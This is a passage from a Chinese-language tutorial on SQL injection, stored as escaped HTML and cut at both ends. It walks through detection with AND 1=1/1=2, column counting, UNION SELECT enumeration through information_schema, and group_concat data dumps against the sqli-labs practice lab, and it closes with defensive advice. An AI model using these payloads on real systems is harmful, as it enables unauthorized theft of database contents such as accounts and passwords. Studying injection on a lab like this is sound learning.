1&#061;2\u8fd4\u56de\u5f02\u5e38 \u2192 \u8f93\u5165\u5f71\u54cd\u4e86SQL\u903b\u8f91&#xff0c;\u6f0f\u6d1e\u5b58\u5728\u3002<\/p>\n<p id=\"u1b8e0060\">\u603b\u7ed3&#xff1a;\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u771f\u5047\u6761\u4ef6&#xff0c;\u89c2\u5bdf\u9875\u9762\u8fd4\u56de\u5dee\u5f02&#xff0c;\u6765\u5224\u65ad\u5e94\u7528\u662f\u5426\u5b58\u5728SQL\u6ce8\u5165\u6f0f\u6d1e\u3002\u8fd9\u79cd\u65b9\u6cd5\u65e0\u9700\u83b7\u53d6\u5177\u4f53\u6570\u636e&#xff0c;\u4ec5\u901a\u8fc7\u201c\u662f\/\u5426\u201d\u7684\u5e03\u5c14\u7ed3\u679c\u5c31\u80fd\u9a8c\u8bc1\u6f0f\u6d1e&#xff0c;\u662f\u76f2\u6ce8\u4e2d\u6700\u57fa\u7840\u7684\u6280\u5de7\u3002\u3002<\/p>\n<h5 id=\"WO9yh\">5.1.4. \u5224\u65ad\u201c\u6709\u65e0\u95ed\u5408\u201d\u7684\u573a\u666f<\/h5>\n<h6 id=\"j4Bau\">5.1.4.1. \u5224\u65ad\u62ec\u53f7\u662f\u5426\u95ed\u5408<\/h6>\n<p id=\"u3cec58a5\">SQL \u67e5\u8be2\u4e2d\u7ecf\u5e38\u4f7f\u7528\u62ec\u53f7\u6765\u5b9a\u4e49\u4f18\u5148\u7ea7&#xff08;\u5982 WHERE \u5b50\u53e5\u4e2d\u7684\u6761\u4ef6&#xff09;\u6216\u7ec4\u7ec7\u590d\u6742\u67e5\u8be2&#xff08;\u5982\u5b50\u67e5\u8be2&#xff09;\u3002<\/p>\n<p id=\"u8b44e2a2\">\u5982\u679c\u62ec\u53f7\u6ca1\u6709\u6b63\u786e\u95ed\u5408&#xff0c;\u4f1a\u5bfc\u81f4\u8bed\u6cd5\u9519\u8bef\u3002<\/p>\n<p id=\"u2f9ca251\">\u5de6\u53f3\u62ec\u53f7\u6570\u91cf\u5fc5\u987b\u76f8\u7b49&#xff0c;\u4e14\u5de6\u62ec\u53f7\u5728\u524d\u3001\u53f3\u62ec\u53f7\u5728\u540e<\/p>\n<p>SELECT *<br \/>\nFROM employees<br \/>\nWHERE (department_id &#061; 3 AND salary &gt; 5000;<\/p>\n<p>\/\/\u95ee\u9898&#xff1a;<br \/>\n\u5de6\u62ec\u53f7 ( \u6ca1\u6709\u5bf9\u5e94\u7684\u53f3\u62ec\u53f7 )\u3002<br \/>\n\/\/\u89e3\u51b3\u65b9\u6cd5&#xff1a;<br \/>\n\u786e\u4fdd\u6bcf\u4e2a\u5de6\u62ec\u53f7\u90fd\u6709\u5bf9\u5e94\u7684\u53f3\u62ec\u53f7\u3002<br \/>\n\/\/\u5de5\u5177\u8f85\u52a9&#xff1a;<br \/>\n\u4f7f\u7528 SQL \u7f16\u8f91\u5668&#xff08;\u5982 MySQL Workbench\u3001DBeaver \u7b49&#xff09;&#xff0c;<br \/>\n\u5b83\u4eec\u901a\u5e38\u4f1a\u9ad8\u4eae\u663e\u793a\u5339\u914d\u7684\u62ec\u53f7&#xff0c;\u5e2e\u52a9\u53d1\u73b0\u672a\u95ed\u5408\u7684\u62ec\u53f7\u3002 <\/p>\n<h6 id=\"kRufv\">5.1.4.2. \u5224\u65ad\u4e8b\u52a1\u662f\u5426\u95ed\u5408<\/h6>\n<p id=\"ub5be227c\">\u4e8b\u52a1&#xff08;Transaction&#xff09;\u662f\u6570\u636e\u5e93\u64cd\u4f5c\u7684\u4e00\u4e2a\u91cd\u8981\u6982\u5ff5\u3002<\/p>\n<p id=\"u178b9a35\">\u5982\u679c\u4e8b\u52a1\u6ca1\u6709\u6b63\u786e\u63d0\u4ea4&#xff08;COMMIT&#xff09;\u6216\u56de\u6eda&#xff08;ROLLBACK&#xff09;&#xff0c;\u53ef\u80fd\u4f1a\u5bfc\u81f4\u6570\u636e\u4e0d\u4e00\u81f4\u6216\u9501\u8868\u95ee\u9898\u3002<\/p>\n<p>START TRANSACTION;<\/p>\n<p>&#8212; \u6267\u884c\u4e00\u7cfb\u5217\u64cd\u4f5c<br \/>\nUPDATE accounts SET balance &#061; balance &#8211; 100 WHERE id &#061; 1;<br \/>\nUPDATE accounts SET balance &#061; balance &#043; 100 WHERE id &#061; 2;<\/p>\n<p>&#8212; \u63d0\u4ea4\u4e8b\u52a1<br \/>\nCOMMIT; <\/p>\n<ul>\n<li id=\"u3ea72ce8\">MySQL&#xff1a;<\/li>\n<\/ul>\n<p>&#8212; \u67e5\u770b\u6240\u6709\u672a\u63d0\u4ea4\u7684\u4e8b\u52a1&#xff08;\u5305\u542b\u4e8b\u52a1ID\u3001\u72b6\u6001\u3001\u6267\u884c\u65f6\u95f4\u7b49&#xff09;<br \/>\nSELECT * FROM INFORMATION_SCHEMA.INNODB_TRX; <\/p>\n<ul>\n<li>\n<ul>\n<li id=\"ufb7b8694\">\u82e5\u7ed3\u679c\u4e3a\u7a7a \u2192 \u65e0\u672a\u95ed\u5408\u4e8b\u52a1&#xff1b;<\/li>\n<li id=\"ub25fb1be\">\u82e5\u7ed3\u679c\u4e0d\u4e3a\u7a7a \u2192 \u5b58\u5728\u672a\u63d0\u4ea4\/\u56de\u6eda\u7684\u4e8b\u52a1&#xff08;\u9700\u624b\u52a8COMMIT\u6216ROLLBACK&#xff09;\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h6 id=\"sZeBF\">5.1.4.3. \u5224\u65ad\u6761\u4ef6\u8bed\u53e5\u662f\u5426\u95ed\u5408<\/h6>\n<ul>\n<li id=\"u69aea292\">\u5173\u952e\u5b57\u914d\u5bf9&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"ucf8c3418\">CASE WHEN\u5fc5\u987b\u6709END&#xff08;\u5982CASE WHEN id&gt;10 THEN &#039;\u5927&#039; ELSE &#039;\u5c0f&#039; END&#xff09;&#xff1b;<\/li>\n<li id=\"u4d4148d8\">IN\u540e\u7684\u62ec\u53f7\u9700\u95ed\u5408&#xff08;\u5982id IN (1,2,3)&#xff0c;\u800c\u975eid IN (1,2,3&#xff09;&#xff1b;<\/li>\n<li id=\"u4efb07cc\">BETWEEN\u9700\u4e0eAND\u914d\u5bf9&#xff08;\u5982age BETWEEN 18 AND 30&#xff0c;\u800c\u975eage BETWEEN 18&#xff09;\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"uf0ae9319\">\u7b26\u53f7\u95ed\u5408&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u9ad2120a\">\u5b57\u7b26\u4e32\u9700\u7528\u5355\u5f15\u53f7\/\u53cc\u5f15\u53f7\u95ed\u5408&#xff08;\u5982name&#061;&#039;\u5f20\u4e09&#039;&#xff0c;\u800c\u975ename&#061;&#039;\u5f20\u4e09&#xff09;&#xff1b;<\/li>\n<li id=\"u22aebc87\">\u62ec\u53f7\u9700\u6210\u5bf9&#xff08;\u5982WHERE (id&gt;10 AND name&#061;&#039;a&#039;)&#xff0c;\u800c\u975eWHERE (id&gt;10 AND name&#061;&#039;a&#039;&#xff09;\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p id=\"u82ef70bd\">SQL \u4e2d\u7684\u6761\u4ef6\u8bed\u53e5&#xff08;\u5982 CASE\u3001IF&#xff09;\u9700\u8981\u6b63\u786e\u7684\u95ed\u5408&#xff0c;\u5426\u5219\u4f1a\u5bfc\u81f4\u8bed\u6cd5\u9519\u8bef\u3002<\/p>\n<p>SELECT employee_id,<br \/>\n       CASE<br \/>\n           WHEN department_id &#061; 1 THEN &#039;HR&#039;<br \/>\n           WHEN department_id &#061; 2 THEN &#039;Finance&#039;<br \/>\n       END AS department_name<br \/>\nFROM employees;<\/p>\n<p>\/\/\u786e\u4fdd\u6bcf\u4e2a CASE \u8bed\u53e5\u90fd\u4ee5 END \u7ed3\u675f\u3002 <\/p>\n<h6 id=\"U4EHZ\">5.1.4.4. \u5224\u65ad\u5b57\u7b26\u4e32\u662f\u5426\u95ed\u5408<\/h6>\n<p id=\"ua1db6418\">\u65ad\u5b57\u7b26\u4e32\u662f\u5426\u95ed\u5408&#xff0c;\u6838\u5fc3\u662f\u68c0\u67e5\u8d77\u6b62\u5f15\u53f7\u662f\u5426\u4e00\u81f4\u4e14\u6210\u5bf9<\/p>\n<p id=\"ua744551e\">SQL \u67e5\u8be2\u4e2d\u4f7f\u7528\u7684\u5b57\u7b26\u4e32\u9700\u8981\u7528\u5f15\u53f7&#xff08;\u5355\u5f15\u53f7 &#039; \u6216\u53cc\u5f15\u53f7 &#034;&#xff09;\u5305\u88f9\u3002\u5982\u679c\u5f15\u53f7\u6ca1\u6709\u6b63\u786e\u95ed\u5408&#xff0c;\u4f1a\u5bfc\u81f4\u8bed\u6cd5\u9519\u8bef\u3002<\/p>\n<p id=\"u1a2a2f05\">\u82e5\u5b57\u7b26\u4e32\u672a\u95ed\u5408&#xff0c;SQL\u6267\u884c\u65f6\u4f1a\u8fd4\u56de\u8bed\u6cd5\u9519\u8bef&#xff1a;<\/p>\n<ul>\n<li id=\"u6efff62f\">MySQL\u62a5\u9519&#xff1a;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near&#8230;&#xff1b;<\/li>\n<\/ul>\n<p>SELECT *<br \/>\nFROM employees<br \/>\nWHERE name &#061; &#039;Alice&#039;; <\/p>\n<h6 id=\"OeTuM\">5.1.4.5. \u5224\u65ad\u6ce8\u91ca\u662f\u5426\u95ed\u5408<\/h6>\n<p id=\"u9cae6b30\">SQL \u652f\u6301\u4e24\u79cd\u6ce8\u91ca\u98ce\u683c&#xff1a;<\/p>\n<li id=\"u142f2d6a\">\u5355\u884c\u6ce8\u91ca&#xff1a;&#8211; \u6ce8\u91ca\u5185\u5bb9<\/li>\n<li id=\"ubc6e4fc9\">\u591a\u884c\u6ce8\u91ca&#xff1a;\/* \u6ce8\u91ca\u5185\u5bb9 *\/<\/li>\n<p id=\"ub4321eea\">\u5982\u679c\u591a\u884c\u6ce8\u91ca\u672a\u6b63\u786e\u95ed\u5408&#xff0c;\u53ef\u80fd\u4f1a\u5bfc\u81f4\u540e\u7eed\u4ee3\u7801\u88ab\u5ffd\u7565\u3002<\/p>\n<p>SELECT *<br \/>\nFROM employees<br \/>\n\/* WHERE department_id &#061; 1 *\/ <\/p>\n<h6 id=\"Moklo\">5.1.4.6. \u603b\u7ed3<\/h6>\n<p id=\"ub7ac2df3\">\u5224\u65ad SQL \u662f\u5426\u201c\u95ed\u5408\u201d\u53ef\u4ee5\u4ece\u4ee5\u4e0b\u51e0\u4e2a\u65b9\u9762\u5165\u624b&#xff1a;<\/p>\n<li id=\"u7878d894\">\u62ec\u53f7\u95ed\u5408&#xff1a;<\/li>\n<ul>\n<li>\n<ul>\n<li id=\"u4a904a33\">\u786e\u4fdd\u6bcf\u4e2a\u5de6\u62ec\u53f7 ( \u90fd\u6709\u5bf9\u5e94\u7684\u53f3\u62ec\u53f7 )\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<li id=\"u3ce974cc\">\u4e8b\u52a1\u95ed\u5408&#xff1a;<\/li>\n<ul>\n<li>\n<ul>\n<li id=\"u46c59fad\">\u786e\u4fdd\u6bcf\u4e2a\u4e8b\u52a1\u4ee5 COMMIT \u6216 ROLLBACK \u7ed3\u675f\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<li id=\"u659574f6\">\u6761\u4ef6\u8bed\u53e5\u95ed\u5408&#xff1a;<\/li>\n<ul>\n<li>\n<ul>\n<li id=\"u8bcafab6\">\u786e\u4fdd CASE\u3001IF \u7b49\u8bed\u53e5\u4ee5\u6b63\u786e\u7684\u5173\u952e\u5b57&#xff08;\u5982 END&#xff09;\u7ed3\u675f\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<li id=\"u7874d951\">\u5b57\u7b26\u4e32\u95ed\u5408&#xff1a;<\/li>\n<ul>\n<li>\n<ul>\n<li id=\"u30df919a\">\u786e\u4fdd\u6bcf\u4e2a\u5b57\u7b26\u4e32\u90fd\u4ee5\u5339\u914d\u7684\u5f15\u53f7\u7ed3\u675f\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<li id=\"u5546aa33\">\u6ce8\u91ca\u95ed\u5408&#xff1a;<\/li>\n<ul>\n<li>\n<ul>\n<li id=\"u37f1708b\">\u786e\u4fdd\u591a\u884c\u6ce8\u91ca\u4ee5 *\/ \u7ed3\u675f\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h4 id=\"aQPNy\">5.2. \u731c\u89e3\u5b57\u6bb5 order by 10<\/h4>\n<p id=\"u68879f1c\">\u63a2\u6d4b\u76ee\u6807\u8868\u7684\u5b57\u6bb5\u6570\u91cf<\/p>\n<p id=\"u73d940e5\">&#8211; \u00a0order by n\u00a0 \u7528\u4e8e\u5bf9\u7b2c\u00a0n\u00a0\u4e2a\u5b57\u6bb5\u6392\u5e8f&#xff0c;\u82e5\u00a0n\u00a0\u8d85\u8fc7\u8868\u7684\u5b9e\u9645\u5b57\u6bb5\u6570&#xff0c;\u4f1a\u62a5\u9519&#xff1b;<\/p>\n<p id=\"ud87e37e9\">&#8211; \u7528\u4e8c\u5206\u6cd5&#xff08;\u5982\u5148\u8bd5\u00a0order by 10\u00a0&#xff0c;\u518d\u6839\u636e\u662f\u5426\u62a5\u9519\u8c03\u6574\u6570\u503c&#xff09;\u53ef\u5feb\u901f\u786e\u5b9a\u8868\u7684\u5b57\u6bb5\u603b\u6570\u3002<\/p>\n<h4 id=\"OSHvm\">5.3. \u5224\u65ad\u6570\u636e\u56de\u663e\u4f4d\u7f6e -1 union select 1&#xff0c;2&#xff0c;3&#xff0c;4&#xff0c;5&#8230;.<\/h4>\n<p id=\"u95c43086\">\/\/-1\u00a0 \u662f\u4e3a\u4e86\u8ba9\u524d\u534a\u6bb5\u67e5\u8be2\u7ed3\u679c\u4e3a\u7a7a&#xff0c;\u786e\u4fdd\u53ea\u663e\u793a \u00a0union select\u00a0 \u540e\u7684\u7ed3\u679c&#xff1b;<\/p>\n<p id=\"u29c6fb7e\">&#8211; \u4f9d\u6b21\u6784\u9020 \u00a0select 1,2,3&#8230;\u00a0&#xff0c;\u89c2\u5bdf\u9875\u9762\u4e0a\u663e\u793a\u7684\u6570\u5b57\u4f4d\u7f6e&#xff0c;\u8fd9\u4e9b\u4f4d\u7f6e\u5c31\u662f\u53ef\u5229\u7528\u7684\u56de\u663e\u5b57\u6bb5\u3002\u53c2\u6570\u7b49\u53f7\u540e\u9762\u52a0-\u8868\u793a\u4e0d\u663e\u793a\u5f53\u524d\u6570\u636e<\/p>\n<p id=\"u4ffd34cb\">\u786e\u5b9a\u54ea\u4e9b\u5b57\u6bb5\u4f1a\u5728\u9875\u9762\u4e0a\u663e\u793a<\/p>\n<h4 id=\"XyoZT\">5.4. \u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93\u540d\u3001\u7528\u6237\u3001\u7248\u672c &#xff0c;\u83b7\u53d6\u5168\u90e8\u6570\u636e\u5e93\u540d<\/h4>\n<p id=\"u1fe05e5d\">\u6536\u96c6\u6570\u636e\u5e93\u7684\u57fa\u7840\u4fe1\u606f<\/p>\n<p id=\"u29a347a2\">eg.\u00a0union select database(), user(), version(),&#8230;\u00a0<\/p>\n<p id=\"u1e127015\">union select group_concat(schema_name) from information_schema.schemata,&#8230;\u00a0<\/p>\n<h5 id=\"L5t9Y\">5\u3001\u83b7\u53d6\u8868\u540d<\/h5>\n<p id=\"uab81063f\">\u5b9a\u4f4d\u76ee\u6807\u6570\u636e\u5e93\u4e2d\u7684\u8868\u7ed3\u6784\u3002<\/p>\n<p id=\"u38158c0d\">select group_concat(table_name) from information_schema.tables where table_schema&#061; &#039;\u5e93\u540d&#039;<\/p>\n<h5 id=\"mHBmB\">6\u3001\u83b7\u53d6\u5b57\u6bb5\u540d<\/h5>\n<p id=\"u3e3f34c3\">\u660e\u786e\u76ee\u6807\u8868\u7684\u5217\u4fe1\u606f<\/p>\n<p id=\"uc03be331\">select group_concat(column_name) from information_schema.columns where table_schema&#061; &#039;\u5e93\u540d&#039; and table_name&#061;&#039;\u8868\u540d&#039;<\/p>\n<h5 id=\"n0mw6\">7\u3001\u83b7\u53d6\u6570\u636e union select 1,2,(select group_concat(\u5b57\u6bb51&#xff0c;\u5b57\u6bb52)from \u5e93\u540d.\u8868\u540d<\/h5>\n<p id=\"u31ba21b8\">\u6700\u7ec8\u63d0\u53d6\u76ee\u6807\u6570\u636e<\/p>\n<p id=\"ue52f1596\">\u901a\u8fc7 \u00a0group_concat\u00a0 \u628a\u5b57\u6bb5\u5185\u5bb9\u62fc\u63a5\u6210\u5b57\u7b26\u4e32&#xff0c;\u5728\u56de\u663e\u4f4d\u4e0a\u663e\u793a&#xff0c;\u4ece\u800c\u83b7\u53d6\u8868\u4e2d\u7684\u5177\u4f53\u6570\u636e&#xff08;\u5982\u7528\u6237\u8d26\u53f7\u3001\u5bc6\u7801\u7b49\u654f\u611f\u4fe1\u606f&#xff09;\u3002<\/p>\n<h3 id=\"mdUHL\">6. \u6ce8\u5165\u7684\u7c7b\u578b<\/h3>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1995\" id=\"E3pEP\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131633-697374b123518.jpg\" width=\"807\" \/><\/p>\n<p id=\"u137ce7d4\">\u76ee\u524d\u5e94\u8be5\u5c31\u5b66\u4e86\u8fd9\u4e9b&#xff0c;&#xff0c;\u53ef\u80fd\u540e\u9762\u4f1a\u8865\u5145\u3002<\/p>\n<p id=\"uf7640744\">\u672c\u4eba\u5229\u7528\u7684\u662fsqli-labs\u7684\u9776\u573a&#xff0c;\u53ef\u4ee5\u53bbGithub\u4e0a\u9762\u627e\u6e90\u4ee3\u7801\u5230\u5c0f\u76ae\u4e0a\u9762&#xff0c;\u5373\u53ef<\/p>\n<h4 id=\"qrFp2\">6.1. \u6570\u503c\u578b\u6ce8\u5165<\/h4>\n<h5 id=\"4bd1db5f\">6.1.1. \u6838\u5fc3\u5b9a\u4e49&#xff1a;\u4ec0\u4e48\u662f\u6570\u503c\u578b\u6ce8\u5165&#xff1f;<\/h5>\n<p id=\"u46e1e9b8\">\u6570\u503c\u578b\u6ce8\u5165\u662fSQL\u6ce8\u5165\u7684\u4e00\u79cd\u5e38\u89c1\u7c7b\u578b&#xff0c;\u53d1\u751f\u5728\u53c2\u6570\u4e3a\u6570\u503c\u7c7b\u578b&#xff08;\u5982\u6574\u6570\u3001\u6d6e\u70b9\u6570&#xff09;\u7684\u573a\u666f\u4e2d\u3002<\/p>\n<p id=\"u930326ff\">\u5176\u6838\u5fc3\u7279\u5f81\u662f&#xff1a;<\/p>\n<ul>\n<li id=\"u33e9e247\">\u540e\u53f0SQL\u8bed\u53e5\u4e2d&#xff0c;\u53c2\u6570\u76f4\u63a5\u4f5c\u4e3a\u6570\u503c\u4f7f\u7528&#xff0c;\u65e0\u9700\u5355\u5f15\u53f7\/\u53cc\u5f15\u53f7\u5305\u88f9&#xff08;\u533a\u522b\u4e8e\u5b57\u7b26\u578b\u6ce8\u5165&#xff09;\u3002<\/li>\n<li id=\"u3bc30928\">\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u7279\u6b8a\u6570\u503c&#xff0c;\u4fee\u6539\u539f\u6709SQL\u7684\u903b\u8f91&#xff0c;\u5b9e\u73b0\u672a\u6388\u6743\u7684\u6570\u636e\u67e5\u8be2\u6216\u64cd\u4f5c\u3002<\/li>\n<li id=\"ubc74a3ca\">\u524d\u53f0\u9875\u9762\u8f93\u5165\u7684\u53c2\u6570\u662f\u300c\u6570\u5b57\u300d\u3002<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"udd730076\">\u5199\u5165and1&#061;1 \u4e0eand1&#061;2\u56de\u663e\u4e0d\u76f8\u540c\u8bf4\u660e\u540e\u9762\u7684and1&#061;1\u548cand1&#061;2\u5bf9\u7f51\u9875\u9020\u6210\u4e86\u5f71\u54cd&#xff0c;\u5224\u65ad\u4e3a\u6570\u503c\u578b<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h5 id=\"1161250a\">6.1.2. \u5173\u952e\u7279\u5f81\u4e0e\u5224\u65ad\u65b9\u6cd5<\/h5>\n<h6 id=\"682ed442\">6.1.2.1. \u5178\u578b\u573a\u666f<\/h6>\n<p id=\"u47949816\">\u5e38\u89c1\u4e8e\u6309ID\u67e5\u8be2\u7684\u529f\u80fd&#xff08;\u5982\u6587\u7ae0\u8be6\u60c5\u3001\u7528\u6237\u4fe1\u606f&#xff09;&#xff0c;\u540e\u53f0SQL\u683c\u5f0f\u901a\u5e38\u4e3a&#xff1a;<\/p>\n<p>SELECT * FROM users WHERE id &#061; [\u7528\u6237\u8f93\u5165]  &#8212; \u4f8b\u5982&#xff1a;id&#061;1 <\/p>\n<h6 id=\"9aa5242b\">6.1.2.2. \u5224\u65ad\u65b9\u6cd5&#xff08;\u5b9e\u6218\u6b65\u9aa4&#xff09;<\/h6>\n<p id=\"u18bac639\">\u901a\u8fc7\u6784\u9020\u6052\u771f\/\u6052\u5047\u6761\u4ef6&#xff0c;\u89c2\u5bdf\u9875\u9762\u54cd\u5e94\u5dee\u5f02&#xff0c;\u5373\u53ef\u5224\u65ad\u662f\u5426\u5b58\u5728\u6570\u503c\u578b\u6ce8\u5165&#xff1a;<\/p>\n<ul>\n<li id=\"u4068743c\">\u6b65\u9aa41&#xff1a;\u6052\u771f\u6761\u4ef6\u6d4b\u8bd5 \u8f93\u5165 id&#061;1 AND 1&#061;1&#xff0c;\u82e5\u9875\u9762\u6b63\u5e38\u663e\u793a&#xff08;\u4e0e\u539f\u8bf7\u6c42id&#061;1\u4e00\u81f4&#xff09;&#xff0c;\u8bf4\u660e\u6ce8\u5165\u7684\u6761\u4ef6\u88ab\u6570\u636e\u5e93\u6267\u884c&#xff0c;\u4e14\u7ed3\u679c\u4e3a\u771f\u3002 \u6b64\u65f6SQL\u53d8\u4e3a&#xff1a;<\/li>\n<\/ul>\n<p>SELECT * FROM users WHERE id &#061; 1 AND 1&#061;1  &#8212; \u6761\u4ef6\u6c38\u8fdc\u6210\u7acb&#xff0c;\u8fd4\u56de\u6240\u6709id&#061;1\u7684\u7ed3\u679c <\/p>\n<ul>\n<li id=\"ua30d0730\">\u6b65\u9aa42&#xff1a;\u6052\u5047\u6761\u4ef6\u6d4b\u8bd5 \u8f93\u5165 id&#061;1 AND 1&#061;2&#xff0c;\u82e5\u9875\u9762\u5f02\u5e38\u663e\u793a&#xff08;\u7a7a\u767d\u3001\u62a5\u9519\u6216\u65e0\u6570\u636e&#xff09;&#xff0c;\u8bf4\u660e\u6ce8\u5165\u7684\u6761\u4ef6\u88ab\u6267\u884c\u4e3a\u5047&#xff0c;\u5b58\u5728\u6ce8\u5165\u70b9\u3002 \u6b64\u65f6SQL\u53d8\u4e3a&#xff1a;<\/li>\n<\/ul>\n<p>SELECT * FROM users WHERE id &#061; 1 AND 1&#061;2  &#8212; \u6761\u4ef6\u6c38\u8fdc\u4e0d\u6210\u7acb&#xff0c;\u65e0\u7ed3\u679c\u8fd4\u56de <\/p>\n<ul>\n<li id=\"u20506617\">\u6b65\u9aa43&#xff1a;\u5355\u5f15\u53f7\u6d4b\u8bd5&#xff08;\u8f85\u52a9\u9a8c\u8bc1&#xff09; \u8f93\u5165 id&#061;1&#039;&#xff0c;\u82e5\u9875\u9762\u62a5\u9519&#xff08;\u5982SQL syntax error&#xff09;&#xff0c;\u8fdb\u4e00\u6b65\u786e\u8ba4\u662f\u6570\u503c\u578b\u6ce8\u5165&#xff08;\u56e0\u4e3a\u6570\u503c\u578b\u53c2\u6570\u65e0\u9700\u5355\u5f15\u53f7&#xff0c;\u591a\u4f59\u7684\u5355\u5f15\u53f7\u5bfc\u81f4\u8bed\u6cd5\u9519\u8bef&#xff09;\u3002<\/li>\n<\/ul>\n<h6 id=\"xMiYy\">6.1.2.3. \u5b9e\u6218\u6848\u4f8b&#xff1a;\u4ece\u5224\u65ad\u5230\u6570\u636e\u83b7\u53d6<\/h6>\n<p id=\"u63b2b7c6\">\u4ee5SQLi-Labs\u9776\u573aLess-2&#xff08;\u6570\u503c\u578b\u6ce8\u5165\u7ecf\u5178\u573a\u666f&#xff09;\u4e3a\u4f8b&#xff1a;<\/p>\n<h6 id=\"ARf0U\">6.1.2.3.1. \u73af\u5883\u51c6\u5907<\/h6>\n<ul>\n<li id=\"uf9e870f6\">\u9776\u573aURL&#xff1a;http:\/\/localhost\/sqli-labs\/Less-2\/?id&#061;1<\/li>\n<li id=\"u72f934dc\">\u540e\u53f0SQL&#xff1a;SELECT * FROM users WHERE id &#061; $_GET[&#039;id&#039;]<\/li>\n<\/ul>\n<h6 id=\"iEJVQ\">6.1.2.3.2. \u6ce8\u5165\u8fc7\u7a0b<\/h6>\n<ul>\n<li id=\"u230d9620\">\u5224\u65ad\u6ce8\u5165\u70b9&#xff1a; \u8f93\u5165 id&#061;1 AND 1&#061;1 \u2192 \u9875\u9762\u6b63\u5e38\u663e\u793a&#xff08;\u4e0eid&#061;1\u4e00\u81f4&#xff09;&#xff1b; \u8f93\u5165 id&#061;1 AND 1&#061;2 \u2192 \u9875\u9762\u7a7a\u767d&#xff08;\u65e0\u6570\u636e&#xff09;&#xff0c;\u786e\u8ba4\u5b58\u5728\u6570\u503c\u578b\u6ce8\u5165\u3002<\/li>\n<li id=\"u07fbf1ba\">\u83b7\u53d6\u6570\u636e\u5e93\u4fe1\u606f&#xff1a; \u6784\u9020\u6ce8\u5165\u8bed\u53e5&#xff0c;\u67e5\u8be2\u6570\u636e\u5e93\u540d&#xff1a;<\/li>\n<\/ul>\n<p>id&#061;1 UNION SELECT 1, database(), 3  &#8212; \u5047\u8bbeusers\u8868\u67093\u4e2a\u5b57\u6bb5 <\/p>\n<p id=\"u1b23d7ce\">\u6b64\u65f6SQL\u53d8\u4e3a&#xff1a;<\/p>\n<p>SELECT * FROM users WHERE id &#061; 1 UNION SELECT 1, database(), 3 <\/p>\n<p id=\"u2275134c\">\u9875\u9762\u4f1a\u8fd4\u56de\u5f53\u524d\u6570\u636e\u5e93\u540d&#xff08;\u5982security&#xff09;\u3002<\/p>\n<ul>\n<li id=\"u596f5e39\">\u83b7\u53d6\u8868\u540d&#xff1a; \u8fdb\u4e00\u6b65\u67e5\u8be2\u6570\u636e\u5e93\u4e2d\u7684\u8868&#xff1a;<\/li>\n<\/ul>\n<p>id&#061;1 UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema&#061;database() <\/p>\n<p id=\"uac67d592\">\u7ed3\u679c\u4f1a\u8fd4\u56de\u6240\u6709\u8868\u540d&#xff08;\u5982users\u3001emails\u7b49&#xff09;\u3002<\/p>\n<h6 id=\"j2cgU\">6.1.2.4. \u9632\u5fa1\u5efa\u8bae<\/h6>\n<ul>\n<li id=\"u724ccb86\">\u53c2\u6570\u7c7b\u578b\u6821\u9a8c&#xff1a;\u5bf9\u6570\u503c\u578b\u53c2\u6570\u5f3a\u5236\u8f6c\u6362\u4e3a\u6574\u6570&#xff08;\u5982PHP\u4e2d\u7528intval()&#xff09;&#xff1b;<\/li>\n<li id=\"u3bea899a\">\u4f7f\u7528\u9884\u7f16\u8bd1\u8bed\u53e5&#xff1a;\u5982PDO\u6216MyBatis\u7684\u53c2\u6570\u7ed1\u5b9a&#xff0c;\u907f\u514d\u76f4\u63a5\u62fc\u63a5SQL&#xff1b;<\/li>\n<li id=\"u51dbc8fa\">\u6700\u5c0f\u6743\u9650\u539f\u5219&#xff1a;\u6570\u636e\u5e93\u7528\u6237\u4ec5\u6388\u4e88\u5fc5\u8981\u6743\u9650&#xff08;\u5982\u7981\u6b62FILE\u3001ALTER\u7b49\u9ad8\u5371\u64cd\u4f5c&#xff09;\u3002<\/li>\n<\/ul>\n<h6 id=\"RWGeg\">6.1.2.5. \u4e00\u53e5\u8bdd\u603b\u7ed3<\/h6>\n<p id=\"u12a6cd18\">\u6570\u503c\u578b\u6ce8\u5165\u662f\u5229\u7528\u6570\u503c\u578b\u53c2\u6570\u65e0\u5f15\u53f7\u5305\u88f9\u7684\u7279\u6027&#xff0c;\u901a\u8fc7\u6784\u9020\u903b\u8f91\u6761\u4ef6\u4fee\u6539SQL\u8bed\u53e5&#xff0c;<\/p>\n<p id=\"uc7e3c8c3\">\u6838\u5fc3\u5224\u65ad\u65b9\u6cd5\u662f1 AND 1&#061;1&#xff08;\u6b63\u5e38&#xff09;&#043; 1 AND 1&#061;2&#xff08;\u5f02\u5e38&#xff09;&#xff0c;\u5b9e\u6218\u4e2d\u53ef\u7ed3\u5408\u8054\u5408\u67e5\u8be2\u83b7\u53d6\u654f\u611f\u6570\u636e\u3002 &#x1f6e1;\ufe0f<\/p>\n<h5 id=\"uUxNX\">6.1.3. \u7b80\u5355\u6761\u4ef6\u6ce8\u5165<\/h5>\n<ul>\n<li id=\"u8b2e8347\">\u653b\u51fb\u65b9\u5f0f&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u9ab51a67\">\u5728\u6570\u503c\u53c2\u6570\u540e\u6dfb\u52a0\u903b\u8f91\u8fd0\u7b97\u7b26&#xff08;\u5982 